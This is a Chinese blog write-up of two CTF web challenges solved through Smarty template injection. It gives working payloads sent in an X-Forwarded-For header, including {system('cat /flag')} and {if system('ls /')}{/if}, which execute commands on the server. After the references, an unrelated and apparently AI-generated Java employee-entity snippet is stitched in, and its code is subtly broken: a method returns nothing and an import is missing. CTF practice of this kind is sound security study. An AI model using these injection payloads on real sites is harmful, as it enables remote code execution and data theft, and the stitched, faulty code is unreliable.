[CISCN 2019华东南]Web11 和[NISACTF 2022]midlevel

[CISCN 2019华东南]Web11

请添加图片描述

从这个图得到提示,是Smarty 模板注入
先介绍一下Smarty

简介:

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。

查看版本:

{$smarty.version}
常用标签
{php}

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

{php}phpinfo(){/php}

但是这个也是要分版本的,Smarty已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

直接输入php命令即可:{system(‘ls /’)}
在这里插入图片描述

{literal} 标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

使用Javascript语句进行命令之执行,常见的变形语句:

<script language="php">phpinfo();</script>

当然这样的语法,在PHP5里面可以使用,在PHP7里面不可以使用,本地测试一下:
在这里插入图片描述因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:

{literal}
<script language="php">phpinfo();</script>
{/literal}
{if}

{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码

{if phpinfo()}{/if}
{if system('ls')}{/if}

请添加图片描述~~~
111~~
~~

可以看到我们有/api和/xff两个路由,一个变量是IP另一个是XFF,但是由于环境问题,我们不能通过构造IP来进行模板注入,所以我们只能通过伪造XFF来进行注入,利用burp suite来构造payload来查看当前的Smaryt 版本:

X-Forwarded-For:{$smarty.version}

请添加图片描述

回显在右上角的Current IP中,看来是没有过滤什么东西,注意版本号是3.1.30这意味着这道题可能有两种写法:

因为{literal}标签存在于php5的版本,所以这里不太好用(可能是我姿势不对)这里显示是这样的
请添加图片描述

写法一:{php}标签

payload:

{system('ls /')}	  //读取根目录文件
{system('cat /flag')} //读取flag

请添加图片描述

可以查看到flag

写法二:{if}标签

{if system('ls /')}{/if}
{if system('cat /flag')}{/if}

同样可以读取flag

[NISACTF 2022]midlevel

和上题一样。。。。无语


参考文章:
PHP Smarty模版注入

首先,我需要强调,由于软件企业员工信息管理系统是一个复杂的应用,涉及到多个模块的设计和实现,并且包括数据库操作、用户界面设计以及业务逻辑处理等部分,不可能在这里直接给出完整的Java代码。但我可以为你提供一个基本的数据库实体类(Entity)和一些核心功能的方法示例。在这个场景中,我们可以使用Java的Hibernate或JPA进行ORM(Object-Relational Mapping)映射。 ```java import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import java.util.Date; @Entity public class Employee { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private String name; private Date birthDate; private String department; private String position; private String gender; private String ageCategory; private String personnelCategory; // getters and setters public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } // ...其他属性的getter和setter... // 如果有级别的关联,可以通过继承或枚举来表示 // 如下只展示简单的版本 public enum PositionLevel { Junior, MidLevel, Senior } public PositionLevel getPositionLevel() { // 根据实际业务逻辑设置 } public void setPositionLevel(PositionLevel level) { // ... } // 重写equals(), hashCode()和toString()方法以支持比较和打印 @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Employee employee = (Employee) o; return id.equals(employee.id); } @Override public int hashCode() { return Objects.hash(id); } @Override public String toString() { return "Employee{" + "id=" + id + ", name='" + name + '\'' + ", birthDate=" + birthDate + ", department='" + department + '\'' + ", position='" + position + '\'' + ", gender='" + gender + '\'' + ", ageCategory='" + ageCategory + '\'' + ", personnelCategory='" + personnelCategory + '\'' + '}'; } } // 对应的CRUD操作接口,这里只展示基础的 public interface EmployeeRepository extends JpaRepository<Employee, Long> { List<Employee> findAllByDepartmentAndPosition(String department, String position); Employee findByIdAndPersonnelCategory(Long id, String personnelCategory); // ...其他方法 } // 假设有一个UserService来处理增删改查操作 public class UserService { private final EmployeeRepository repository; public UserService(EmployeeRepository repository) { this.repository = repository; } public void save(Employee employee) { repository.save(employee); } public void deleteById(Long id) { repository.deleteById(id); } // ...其他方法,如update和find等 } ``` 这只是整个系统的一部分,实际项目会包含数据库配置、服务层的控制器、视图层的JSP/Thymeleaf等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值